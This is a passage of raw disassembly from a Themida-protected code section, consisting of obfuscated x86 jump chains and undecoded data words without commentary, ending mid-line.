Themida_:0054E4DDj pop ebp add esp, 4 shl edx, 3 push edi mov edi, 1 jmp loc_552E62 ; --------------------------------------------------------------------------- dd 0D8E9575Ah, 29FFFFA3h, 0C3EE81CEh, 8124673Dh, 0CC163AEEh dd 4BE95761h, 0BEFFFFABh, 1D84405Dh, 1BFCE81h, 0E6C14F59h dd 2C7E907h, 5451FFFFh, 0D9BB5359h, 0E922B618h, 0FFFFBE2Dh dd 0E9F9ED80h, 0FFFF10BEh, 8B54535Ah, 8956241Ch, 4C681E6h dd 81000000h, 4C6h, 24348700h, 4C3815Ch, 81000000h, 4C3h dd 0FE29E900h, 0F181FFFEh, 6D18327Eh, 0C8BC829h, 4C48124h dd 1000000h, 2E7E05D0h, 148B04D2h, 4C48324h, 0BA525357h dd 5F3111BAh, 3111BCBBh, 32A6E95Fh, 0C4810000h, 4, 15D5E9h dd 2434FF00h, 0E9242C8Bh, 0FFFFDB7Eh, 4D53EF81h, 0C78109ACh dd 72534350h, 0BA52DF29h, 72534350h, 815AD729h, 0AC4D53C7h dd 2434FF09h, 140FE9h, 47EDB800h, 0A8E95E31h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B03: ; CODE XREF: Themida_:0054233Cj sub ebx, 0AC3AEB5h push ebp mov ebp, 7ABD41BEh add eax, ebp pop ebp add eax, ebx sub eax, 7ABD41BEh mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_552DF1 ; --------------------------------------------------------------------------- loc_552B30: ; CODE XREF: Themida_:00550A60j xchg ecx, [esp] not ecx xchg ecx, [esp] pop ebx push 1524h mov [esp], esi mov esi, 0EF9CD67Ch xor ebx, esi jmp loc_54DF79 ; --------------------------------------------------------------------------- db 66h, 89h, 4 dd 0EFC9E924h, 0F581FFFEh, 3BF67F3Eh, 525DEE09h, 0FB6F5CBAh dd 0F281426Eh, 710C1E8Dh, 81D2F742h, 0C5DFE5F2h, 5A0EE989h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552B7A: ; CODE XREF: Themida_:0054632Ej push edx jmp loc_549E50 ; --------------------------------------------------------------------------- dd 0FEEF9AE9h, 87D1F7FFh, 4CE781CFh, 81641455h, 145148F7h dd 5FFE0104h, 0E904C683h, 0FFFFA6A5h, 4C381h, 53560000h dd 4A554EBBh, 5BDE8938h, 28C6BD55h, 0CD817AA1h, 713332B3h dd 2216C581h, 0D5F70E07h, 814DEDD1h, 12A67CC5h, 26C681D1h dd 81524552h, 0F853A6C6h, 81EE012Eh, 0F853A6EEh, 26EE812Eh dd 5D524552h, 1EE81h, 0F6810000h, 447FCD45h, 875EF301h dd 0DCE9241Ch db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552BFF: ; CODE XREF: Themida_:00542248j mov ch, 20h not ch add ch, 27h neg ch not ch jmp loc_5502C4 ; --------------------------------------------------------------------------- db 89h dd 0CD19E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C16: ; CODE XREF: Themida_:005441F3j add esp, 4 and eax, ecx mov ecx, [esp] push 391Ch mov [esp], ebx jmp loc_542D9E ; --------------------------------------------------------------------------- db 5Eh dd 34FFEE01h, 6D55E924h, 0C87FFFFh, 0CF295C24h, 83240C8Bh dd 0FE2904C4h, 0E92434FFh, 0F91h ; --------------------------------------------------------------------------- loc_552C4C: ; CODE XREF: Themida_:00549AD4j push edi push ebx pop edi jmp loc_54B242 ; --------------------------------------------------------------------------- dd 0E95AD128h, 0FFFF4D18h, 0EB81FB01h, 52303F17h, 0E957525Fh dd 0FFFF1578h, 767CF281h, 37E9D63Dh, 81FFFF59h, 14FF2EF5h dd 5DEE2934h, 0BB53EE01h, 4799642Eh, 593FC681h, 0DE014BC2h dd 785BBB53h, 0BE91FE2h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C9B: ; CODE XREF: Themida_:00543678j add ecx, 4 push edx mov edx, 3C085B8Bh push ebx mov ebx, 693A49ECh sub edx, ebx pop ebx shr edx, 6 jmp loc_54B9C6 ; --------------------------------------------------------------------------- dd 5BD83159h, 0E904EC83h, 0FFFF190Bh, 53242C8Bh, 0C381E389h dd 4, 4C381h, 17E90000h, 5AFFFF08h, 8B5BDA29h, 0C483241Ch dd 0A4EEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552CEA: ; CODE XREF: Themida_:00543982j mov esi, eax mov ebx, esi mov esi, [esp] add esp, 4 jmp loc_54AC37 ; --------------------------------------------------------------------------- loc_552CF9: ; CODE XREF: Themida_:00542DA6j add ebx, 4 sub esp, 4 jmp loc_5521DB ; --------------------------------------------------------------------------- dd 3F9CE956h, 0C301FFFFh, 715D68h, 242C8900h, 667020BDh dd 0FAC58159h, 2924B8A4h, 2BD6E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552D26: ; CODE XREF: Themida_:00543CBFj add dword ptr [esp], 2D5E209Dh pop ecx push ebp mov ebp, 0C474B5h add ebp, 2C99ABE8h jmp loc_544376 ; --------------------------------------------------------------------------- db 0B5h dd 0D0ED801Eh, 0FEEE65E9h db 0FFh ; --------------------------------------------------------------------------- loc_552D49: ; CODE XREF: Themida_:00543071j push eax mov eax, 40F963FCh shl eax, 2 sub eax, 425A4BE1h jmp loc_5522E7 ; --------------------------------------------------------------------------- dd 4C5815Ch, 53000000h, 52BE68h, 24148900h, 8D86E957h db 2 dup(0FFh) word_552D72 dw 8766h ; DATA XREF: Themida_:0054189Co dd 68662414h, 8966091Ch, 31662414h, 3366240Ch, 3166240Ch dd 0EC83240Ch, 0C896602h, 14F76624h, 0C8B6624h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54C5AD ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0C5010000h, 74FF5558h, 8F5D0424h, 248B2404h, 4296624h dd 1BE99C24h, 5200001Ch, 0B3243481h, 5B16A81Dh, 1DB3F381h dd 0A0E916A8h, 81FFFF18h, 794EC0F3h, 0E9DD097Ah, 0FFFFDD8Bh ; --------------------------------------------------------------------------- loc_552DE0: ; CODE XREF: Themida_:00547AD9j mov [esp], eax push ebx mov ebx, 32E377F7h mov eax, ebx pop ebx jmp loc_5520B6 ; --------------------------------------------------------------------------- loc_552DF1: ; CODE XREF: Themida_:00552B2Bj xchg edi, [esp] pop esp jmp loc_55099A ; --------------------------------------------------------------------------- word_552DFA dw 0E9ADh ; DATA XREF: Themida_:00541860o dd 0FFFFB602h, 0B850E389h, 4, 5658C301h, 2E2F46BEh, 70EE8179h dd 0E9060B1Fh, 0FFFF1B68h, 8B2434FFh, 0C4812404h, 4, 49C68h dd 243C8900h, 3783E9h, 243C8900h, 6850E789h, 0D1Bh, 0FF7852E9h db 0FFh ; --------------------------------------------------------------------------- loc_552E45: ; CODE XREF: Themida_:0055692Aj xor edx, ecx pop ecx push ecx push 53A259E0h pop ecx sub edx, 652D3A61h add edx, ecx add edx, 652D3A61h jmp loc_54D713 ; --------------------------------------------------------------------------- loc_552E62: ; CODE XREF: Themida_:00552A1Bj sub edx, edi mov edi, [esp] add esp, 4 xor edx, 330A4E04h jmp loc_54E074 ; --------------------------------------------------------------------------- loc_552E78: ; CODE XREF: Themida_:00547884j pop ecx push esi push 0ECF0B97h pop esi jmp loc_548011 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 0E9h dd 0FFFF5768h, 4DB2F681h, 0F7897416h, 0FFDEE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_552E99: ; CODE XREF: Themida_:00548498j sub ecx, 20375C4Dh sub ecx, esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5494F8 ; --------------------------------------------------------------------------- dw 0B3BFh dd 0E9195172h, 0FFFF8CFEh, 0FEEC5AE9h, 0E99C50FFh, 0FFFEEC53h dd 0F0008F04h, 0F64FB151h, 0D0C9FED9h, 7AC980E9h, 0F180D1F6h dd 2A94E90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552EE6: ; CODE XREF: Themida_:00553589j add ebx, 247616A2h jmp loc_54E174 ; --------------------------------------------------------------------------- loc_552EF1: ; CODE XREF: Themida_:00551BBBj sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_54C71A ; --------------------------------------------------------------------------- dd 7D7C68h, 243C8900h, 0FFEB96E9h, 477F68FFh, 24890000h dd 4BE5624h, 0E9000000h, 32CBh ; --------------------------------------------------------------------------- loc_552F20: ; CODE XREF: Themida_:00555C7Aj push ecx mov ecx, 25C7F84h add edx, ecx pop ecx and edx, 43380503h jmp loc_54E127 ; --------------------------------------------------------------------------- dd 34FFD000h, 0C4815A24h, 4, 36DC68h, 24148900h, 4EC81h dd 4890000h, 0E933B424h, 0FFFF3DBFh, 4C481h, 4330000h dd 24043124h, 0FEF226E9h, 240431FFh, 0FFCC3FE9h, 4EF83FFh dd 31243C33h, 3C33243Ch, 4895C24h, 4B824h, 0C2010000h dd 0FF8B0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_552F8D: ; CODE XREF: Themida_:0054A4AAj push ebx mov ebx, 2C6639D2h mov ebp, 44CB499Fh xor ebp, ebx pop ebx sub esp, 4 jmp loc_547652 ; --------------------------------------------------------------------------- dw 0D001h dd 0E189515Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h dd 40D97E65h, 8102E7C1h, 9D48C0C7h, 8BF8012Fh, 0C483243Ch dd 0C220504h, 0EC817908h, 4, 0FF803AE9h, 0B95155FFh, 7FCE129Eh dd 0FFEC01E9h, 0BE565EFFh, 0D8218611h, 0F4E9F031h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552FFF: ; CODE XREF: Themida_:00549428j mov [esp], esi push 7E665E41h pop esi xor esi, 66EE49E1h mov edi, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ebx, 188817C4h jmp loc_5560E0 ; --------------------------------------------------------------------------- dd 0E970EC80h, 0FFFFF2E8h ; --------------------------------------------------------------------------- loc_553038: ; CODE XREF: Themida_:0054A2F2j push edi mov edi, 4 add ecx, edi jmp loc_542762 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4Ah dd 93403C7h, 2434FFD9h, 0DC3FE95Bh, 69B2FFFFh, 5A66D028h dd 0FF3624E9h, 240C87FFh, 0E924248Bh, 19BAh, 3F626866h dd 0FEFFBAE9h, 0F2EA81FFh, 8974B627h, 3EE95AD1h, 500002Bh dd 1B895DA2h, 0FFFF58E9h, 0E9BDB0FFh, 14A8h ; --------------------------------------------------------------------------- loc_553094: ; CODE XREF: Themida_:00544CB1j add ebx, 907BBD13h push ebx sub dword ptr [esp], 8644946h pop ebp add ebp, 8644946h pop ebx add ecx, 522B2E54h add ecx, ebp sub esp, 4 mov [esp], eax mov eax, 25103E6Bh push ecx jmp loc_54F3DC ; --------------------------------------------------------------------------- loc_5530C6: ; CODE XREF: Themida_:005429E4j pop ebp sub ecx, 26B30023h xor ecx, 5CBBBF23h jmp loc_550265 ; --------------------------------------------------------------------------- a1S db '1Öé°+',0 dw 8100h dd 9AD8F6C3h, 5BDA218Bh, 0D8BC281h, 0D52909B0h, 8324148Bh dd 2A0504C4h, 0E924792Ch, 0FFFF4624h ; --------------------------------------------------------------------------- loc_553100: ; CODE XREF: Themida_:0054F521j mov dl, 0C5h add al, dl jmp loc_551E35 ; --------------------------------------------------------------------------- db 66h, 89h, 0FEh dd 0CCB3E95Fh, 0BB8FFFFh, 31CC31C3h, 0DD0958C3h, 6EDC15Bh dd 7659E581h, 81E95943h, 83FFFF12h, 1C8904ECh, 0C006B724h dd 0B05003E7h, 0D62EE99Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55313E: ; CODE XREF: Themida_:00548892j push eax push 5685319Eh pop eax inc eax shr eax, 2 jmp loc_55232D ; --------------------------------------------------------------------------- loc_55314E: ; CODE XREF: Themida_:00541DDDj inc bh add bh, 8Eh mov al, bh pop ebx add bl, al pop eax movzx eax, al push dword ptr [edi+eax*4] push ecx push 14265E99h jmp loc_553783 ; --------------------------------------------------------------------------- dw 0D929h dd 83241C8Bh, 0FF5104C4h, 59042474h, 0E924048Fh, 0FFFF77ECh dd 241C8B66h, 0FFE766E9h, 243C8BFFh, 8904EC83h, 0E189240Ch dd 4BA52h, 0D1010000h, 4C1835Ah, 5C240C87h, 8B24048Fh dd 0E9532424h, 0FFFF6EC5h dword_5531B0 dd 8B2434FFh, 3E9240Ch, 89FFFFF9h, 0B5512414h, 1841E92Eh ; DATA XREF: Themida_:00541938o dd 429FFFFh, 50E99C24h, 1FFFEE9h, 34875FFEh, 0D39CE924h dd 0C581FFFFh, 3F067B73h, 0B7F581h, 9BE9279Fh db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5531EB: ; CODE XREF: Themida_:005494FCj push 2E25h jmp loc_544CA0 ; --------------------------------------------------------------------------- db 80h, 0E1h, 53h dd 5094B652h, 0FF7322E9h, 4C483FFh, 413CE950h, 0C783FFFFh dd 243C3304h, 33243C31h, 805C243Ch, 5251CBC3h, 15E957B6h dd 8300002Bh, 36804C5h, 8900002Eh, 74FF242Ch, 2C8B0424h dd 0C69AE924h, 0B0BBFFFFh, 0E9654649h, 0FFFF5B64h, 0BD242C89h dd 5AED3594h, 0E5E2C581h, 0D1E913D3h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553257: ; CODE XREF: Themida_:00553479j pop ebx add ecx, ebx add ecx, 66860212h jmp loc_54ECE7 ; --------------------------------------------------------------------------- loc_553265: ; CODE XREF: Themida_:005466B5j add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 jmp loc_545806 ; --------------------------------------------------------------------------- aVUMyVSs db 'ºË#‚)U½¬YÅv!êé‘)',0 dw 8300h dd 5CE9FFEAh db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55328F: ; CODE XREF: Themida_:0054AF69j xchg ebx, [esp] pop esp push esi mov esi, 0F6C2ED9h sub esi, 6A1939D8h add esi, 4CF66B48h sub esp, 4 mov [esp], ebp mov ebp, 561C1989h not ebp inc ebp shl ebp, 7 sub ebp, 8263EA49h jmp loc_550C5A ; --------------------------------------------------------------------------- dd 4A7AE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5532CA: ; CODE XREF: Themida_:00547CF8j shr ecx, 3 neg ecx not ecx shr ecx, 8 sub ecx, 5C624A96h sub ecx, 9EEF51F8h sub dword ptr [esp+8], 6A841D16h add dword ptr [esp+8], 0D03295Dh sub dword ptr [esp+8], 4D211B44h add [esp+8], ecx push eax mov eax, 4D211B44h add [esp+0Ch], eax mov eax, [esp] add esp, 4 sub dword ptr [esp+8], 0D03295Dh push ebx push eax mov eax, 6E944F5Dh jmp loc_542CE2 ; --------------------------------------------------------------------------- loc_553320: ; CODE XREF: Themida_:0054B695j mov ecx, 4 add edx, ecx mov ecx, [esp] push ecx jmp loc_5482D1 ; --------------------------------------------------------------------------- dd 0FEE7EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_553335: ; CODE XREF: Themida_:0054771Fj pop edx add esp, 4 xor bl, ah jmp loc_54F635 ; --------------------------------------------------------------------------- db 31h dd 8B04246Ch, 0C483242Ch, 2434FF04h, 0E2895258h, 8904EC83h dd 0A7BE2434h, 0F7784734h, 76CE81D6h, 0E9178E00h, 0FFFF6FE6h dd 0E924048Bh, 0FFFF67BAh, 0B3BAE942h, 0EEC0FFFFh, 0B5516605h dd 2EA8E9EBh, 0B0500000h, 58C20046h, 1505E9h, 320F2D00h dd 5B5B0029h, 672D062Dh, 22E70513h, 0D8295339h, 3922E72Dh dd 2D060553h, 8C051367h, 6809AD55h, 17F9h, 0BA241489h dd 37BD7D2Bh, 0FF13F6E9h, 240C33FFh, 33240C31h, 248B240Ch dd 24348724h, 24048B5Ch, 0FFAADBE9h, 2434FFFFh, 0FF0604E9h dd 81D129FFh, 871992E9h, 0BF575A71h, 2BC542B1h, 8CE9FD01h dd 5BFFFF56h, 2B6CD81h, 0F58108EBh, 3C356ED0h, 894F581h dd 0C5814E97h, 2A9320F6h, 8105E5C1h, 0EF1361C5h, 907DE98Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553422: ; CODE XREF: Themida_:00546166j xchg ebx, [esp] pop esp mov al, ch jmp loc_546EF2 ; --------------------------------------------------------------------------- loc_55342D: ; CODE XREF: Themida_:0054C987j push edi push ebp mov ebp, 7C285923h mov edi, 26635BB0h xor edi, ebp jmp loc_542E54 ; --------------------------------------------------------------------------- dd 67F668h, 24148900h, 595988BAh, 23B9510Ah, 0E905AB7Ah dd 0FFFF46BAh ; --------------------------------------------------------------------------- loc_553458: ; CODE XREF: Themida_:0054F9C8j push 4CE4h mov [esp], esi mov esi, esp push edx jmp loc_556597 ; --------------------------------------------------------------------------- loc_553468: ; CODE XREF: Themida_:00546BEEj sub ebx, eax pop eax push ebx mov ebx, 22535AC5h add ebx, 4432A74Dh sub ecx, ebx jmp loc_553257 ; --------------------------------------------------------------------------- loc_55347E: ; CODE XREF: Themida_:0054DF50j mov esi, 7D7E3F10h xor edi, esi pop esi push 4E06h mov [esp], edi xor dword ptr [esp], 254D58D0h pop dword ptr [eax] xor dword ptr [eax], 254D58D0h jmp loc_541D19 ; --------------------------------------------------------------------------- loc_5534A2: ; CODE XREF: Themida_:0055159Bj add eax, edi jmp loc_54537E ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 2D000000h, 4F407755h, 5505F029h, 8B4F4077h, 56E92434h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5534C3: ; CODE XREF: Themida_:0055258Aj mov edx, esp sub esp, 4 jmp loc_5431CC ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFB898h, 8355E289h, 348904ECh, 40CABE24h dd 626801EFh, 89000058h, 53E92434h, 5DFFFFDBh, 0BF57E8D1h dd 64C45E78h, 37BB5347h, 817E1F0Ah, 45C07BEBh, 4EEDE95Dh dd 0C681FFFFh, 4, 8B243487h, 52512424h, 0F1884AB6h, 0FDE8E95Ah dd 815DFFFEh, 1E7176EDh, 2EDC120h, 0FF57C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_553535: ; CODE XREF: Themida_:00543A4Fj sub ebx, 435374C6h add ebx, 153E3E4Ah add ebx, ecx push eax mov eax, 49155FDAh shr eax, 4 shr eax, 6 shl eax, 3 add eax, 57321D0Bh inc eax sub eax, 4286097Ah sub ebx, eax pop eax add ebx, 435374C6h mov ecx, [esp] add esp, 4 sub ebx, 4E994026h push ebp mov ebp, 154F1176h add ebx, ebp pop ebp sub ebx, 1EBD7438h sub ebx, 247616A2h add ebx, eax jmp loc_552EE6 ; --------------------------------------------------------------------------- dw 835Ch dd 0A36804C4h, 89000035h, 9DBA2414h, 0E9AAC078h, 0FFFF3990h dd 552FE95Fh, 8B66FFFFh, 3AE9241Ch, 81FFFF1Fh, 4B47B1EBh dd 5BD8890Eh, 8158C701h, 3A6E87F7h, 0EF814F4Ah, 0FE78B56Bh dd 65DB68h, 243C8900h, 1C6CB951h, 4C314DF5h, 5B590424h dd 1C6CF381h, 835F4DF5h, 1C8904ECh, 9EFAE924h, 0D501FFFFh dd 5224148Bh, 0C281E289h, 4, 3826B951h, 0E98148F9h, 48F93822h dd 3359CA01h, 14312414h, 24143324h, 74FF555Ch, 2C8B0424h dd 4C48324h, 5C24048Fh, 323268h, 243C8900h, 94E9E789h dd 5B000011h, 243C8B5Eh, 0FEFAFAE9h db 0FFh ; --------------------------------------------------------------------------- loc_553641: ; CODE XREF: Themida_:005537AFj push eax mov eax, 4 jmp loc_55202A ; --------------------------------------------------------------------------- dd 0FD88D788h, 0FEF53DE9h, 241C8BFFh, 104C483h, 595259CAh dd 59C8895Ah, 0FA65492Dh, 7E94810h, 83FFFFB8h, 535204C4h dd 0F643E8BBh, 5BDA8944h, 2508E281h, 0EC816880h, 4, 0BF243C89h dd 0BF7FFEFCh, 565FFA01h, 0FF8AC5E9h db 0FFh ; --------------------------------------------------------------------------- loc_553699: ; CODE XREF: Themida_:00554A4Aj mov edx, 0FF8E10DFh sub edi, edx pop edx add eax, edi pop edi push ebp mov ebp, 341A0D04h and eax, ebp pop ebp shl eax, 6 xor eax, 47813CCh add ecx, eax mov eax, [esp] jmp loc_54868A ; --------------------------------------------------------------------------- loc_5536BF: ; CODE XREF: Themida_:00549127j push 5E10h mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_543D58 ; --------------------------------------------------------------------------- dd 4C481h, 0F1280000h, 9190E95Ah, 4568FFFFh, 8900000Bh dd 42B9240Ch, 81670467h, 0D76E88E9h, 1C18310h, 0EFC18149h dd 0E9F98213h, 0FFFFEC94h, 8B7EF181h, 0CE8931AAh, 83240C8Bh dd 505204C4h, 2414B8B8h, 0E9C2892Eh, 0FFFEEC96h, 0C381E389h dd 4, 4BA5250h, 89000000h, 8DE95AD0h, 89FFFF73h, 0C2E959CFh dd 89FFFFF2h, 68572434h, 312344E3h, 83243C8Bh, 514F04C4h dd 8B071CB9h, 1736E914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55375A: ; CODE XREF: Themida_:0054F7CAj mov [esp], ebx mov ebx, 316E1F68h add eax, 0E5A3428h sub eax, 189852E6h sub eax, ebx add eax, 189852E6h sub eax, 0E5A3428h jmp loc_5494F0 ; --------------------------------------------------------------------------- a_s_ db '_éÙ.',0 db 0 ; --------------------------------------------------------------------------- loc_553783: ; CODE XREF: Themida_:00553165j push dword ptr [esp] jmp loc_54F548 ; --------------------------------------------------------------------------- loc_55378B: ; CODE XREF: Themida_:00542743j pop esi mov eax, ebp jmp loc_544BB9 ; --------------------------------------------------------------------------- db 89h dd 3979E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_55379A: ; CODE XREF: Themida_:00548AB5j retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEE37Fh ; --------------------------------------------------------------------------- loc_5537A0: ; CODE XREF: Themida_:00547672j push dword ptr [esp] mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_553641 ; --------------------------------------------------------------------------- dd 0C181E929h, 5EF371E5h, 0CE89565Dh, 348B5856h, 4C48124h dd 59000000h, 0FF1C4721h, 34FF2434h, 0C4815824h, 4, 0E9E78957h dd 1B76h ; --------------------------------------------------------------------------- loc_5537E4: ; CODE XREF: Themida_:00544920j pop esp mov [esp], esp jmp loc_550149 ; --------------------------------------------------------------------------- db 66h, 68h, 0FCh dd 14896675h, 154BE924h, 5A660000h, 0FF3987E9h, 242489FFh dd 4240481h, 0E9000000h, 35Fh, 8158C601h, 4C6h, 0C89EE900h dd 0D389FFFFh, 0F8EA815Ah, 149FA4Bh, 0D3BD55DAh, 0C168032Bh dd 0ED8108E5h, 6BAB4889h, 0BA52DDF7h, 27141EE9h, 74F6EA81h dd 0E281102Eh, 2613594Bh, 6950F281h, 0CA816751h, 22B10ADAh dd 0A78DC281h, 23E9B401h, 87000030h, 0BBE9240Ch, 1FFFFE5h dd 0F4BD55CBh, 4D57F456h, 4925ED81h, 5BE9410Bh, 89FFFFF9h dd 8A21E9E0h, 0B252FFFFh, 25F28077h, 0C05CC280h, 686604E2h dd 8BE926DBh db 0E6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55389B: ; CODE XREF: Themida_:00542C45j mov esi, 4BA47D90h or esi, 6C5354D4h jmp loc_544005 ; --------------------------------------------------------------------------- db 5Ch dd 0FF5260E9h db 0FFh byte_5538B1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541870o dd 4EC8324h, 0FF0FFEE9h, 243487FFh, 8924248Bh, 5368240Ch dd 8900007Fh, 8EB02404h, 0C13007B1h, 169DE958h, 0FB010000h dd 0D9EB815Fh, 0E909AC7Fh, 0FFFFDBE5h, 0C2D429B8h, 58C3898Ch dd 295EF301h, 0EB815BDAh, 18BE7532h, 0C381D329h, 18BE7532h dd 0F00DE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55390A: ; CODE XREF: Themida_:005447B6j or edx, 689844C1h jmp loc_5509D5 ; --------------------------------------------------------------------------- db 56h, 0BEh, 40h dd 0C127F240h, 0EEC103EEh, 0C2F68102h, 0C175F821h, 0E68105E6h dd 516826A3h, 0F4DFBB53h, 0DE012AC5h, 0E9F7015Bh, 0FFFF86B0h ; --------------------------------------------------------------------------- loc_553940: ; CODE XREF: Themida_:0055447Fj add ecx, 779E0A76h add ecx, edi jmp loc_549FE0 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 0E904C083h, 0FFFFEF86h, 42474FFh, 24048F5Eh, 0FC0095Ch dd 0FF6BD984h, 0E68956FFh, 4C681h, 680000h, 0E900006Dh dd 0FFFF95DBh ; --------------------------------------------------------------------------- loc_553980: ; CODE XREF: Themida_:0054F7BAj ; Themida_:0054FC45j push 4897h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_54A5A6 ; --------------------------------------------------------------------------- byte_5539A7 db 66h ; DATA XREF: Themida_:00541950o dd 51240C8Bh, 0CD68h, 24248900h, 4240481h, 0E9000000h dd 0FFFFF904h, 2D382FB9h, 0FDFDE951h, 2C31FFFEh, 242C3324h dd 0FF24248Bh, 68582434h, 2418h, 68243489h, 0FEDh, 83242489h dd 5E042404h, 4C681h, 39680000h, 8900007Ah, 4BA2414h, 52000000h dd 0E32816BAh, 0EC0E927h, 0F209FFFFh, 0FFDA18E9h, 3EC181FFh dd 1B62586h, 2434FFCFh, 0FEE1BDE9h, 4BDFFh, 0EB010000h dd 83242C8Bh, 1C8704C4h, 0C7815C24h, 4, 0E855E956h, 565DFFFFh dd 0BE7FF4BEh, 8E6C125h, 3690CE81h, 814E7327h, 296F3FF6h dd 12E9567Ah db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553A5B: ; CODE XREF: Themida_:00555FCAj add esp, 4 pop ebx jmp loc_553BFC ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 83000000h, 0C8704E9h, 2C895C24h, 4EC8324h dd 0B9240C89h, 26C12AF7h, 0E904E1C1h, 0FFFEFB69h, 809F281h dd 7EE912B7h db 0FDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_553A97: ; CODE XREF: Themida_:00545B5Fj mov dh, ah pop eax shl dh, 4 not dh sub dh, 0FFh push edi mov edi, esp jmp loc_554F12 ; --------------------------------------------------------------------------- dw 34FFh dd 0E61E924h, 0CF800000h, 7E7C0D4h, 8005E7C0h, 0FE2801F7h dd 81241C8Bh, 4C4h, 1EE8000h, 0FCC680h, 24148BF0h, 1C8B5453h dd 4C48124h, 81000000h, 4C3h, 4C38300h, 2474FF53h, 15D4E904h dd 0B8500000h, 76045E2h, 8158C521h, 0EB6B18CDh, 29ED8119h dd 814EC665h, 9004A9F5h, 0E9EB29D0h, 0FFFF33F2h, 4C181h dd 61680000h, 89000062h, 74FF240Ch, 0B1E90424h, 81FFFF13h dd 604246Ch, 0E965E649h, 0FFFF5CC8h, 278FBD55h, 0E8297754h dd 83242C8Bh, 53E904C4h, 58FFFFD8h, 83243C8Bh, 5F0904C4h dd 2434FF1Ch, 4C4815Bh, 68000000h, 27D9h, 83241C89h, 0D7E904ECh dd 59FFFF0Fh, 4C181h, 0C1830000h, 240C8702h, 5B24248Bh dd 0E916B252h, 0FFFF998Bh ; --------------------------------------------------------------------------- loc_553B88: ; CODE XREF: Themida_:00554537j add esi, edx jmp loc_54F526 ; --------------------------------------------------------------------------- db 1 dd 0E539E9F1h, 0C681FFFEh, 4AB7616Eh, 0EE81DE29h, 4AB7616Eh dd 8EBA525Bh, 0E918384Eh, 73Fh, 2746C681h, 0DE29722Ah dd 2746EE81h, 8B5B722Ah, 0AAE9240Ch, 81000018h, 4C4h, 5FFD0100h dd 4AE568h, 240C8900h, 2482E9h, 0AE95F00h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553BE3: ; CODE XREF: Themida_:005468ADj sub ebp, 0D4487F64h sub edi, 22410DE1h sub edi, ebp add edi, 22410DE1h jmp loc_5486B6 ; --------------------------------------------------------------------------- loc_553BFC: ; CODE XREF: Themida_:00553A62j jmp loc_541B1F ; --------------------------------------------------------------------------- db 50h, 0B4h, 0B5h dd 55E988B3h, 87FFFF9Ch, 575C2434h, 612C7BBFh, 247C0164h dd 6C015F08h, 6EE90424h, 5A00000Eh, 34FFD729h, 0C4835A24h dd 2451E904h, 0C1810000h, 4, 5C240C87h, 9739C72Dh, 5D8297Dh dd 7D9739C7h, 0E92434FFh, 0FFFFC8A5h, 5568B850h, 85E9534Fh dd 89FFFF6Fh, 0C8E95BD9h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553C63: ; CODE XREF: Themida_:0054C3A7j mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_5511C6 ; --------------------------------------------------------------------------- loc_553C70: ; CODE XREF: Themida_:0054FF43j mov esi, ecx pop ecx sub [esp+4], esi pop esi push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_547122 ; --------------------------------------------------------------------------- byte_553C8F db 0ACh ; DATA XREF: Themida_:00541A20o dd 0EC83D830h, 240C8904h, 5E5668h, 24048900h, 0BFFAE952h dd 0E181FFFFh, 1B142021h, 0FEF9F2E9h, 90F781FFh, 812F1B36h dd 2469CFC7h, 69E78116h, 0F72DDD33h, 94EF81DFh, 527EC0D4h dd 0FF31A4E9h, 2C583FFh, 2474FF55h, 48F5D04h, 0D5BE924h db 2 dup(0FFh) word_553CE2 dw 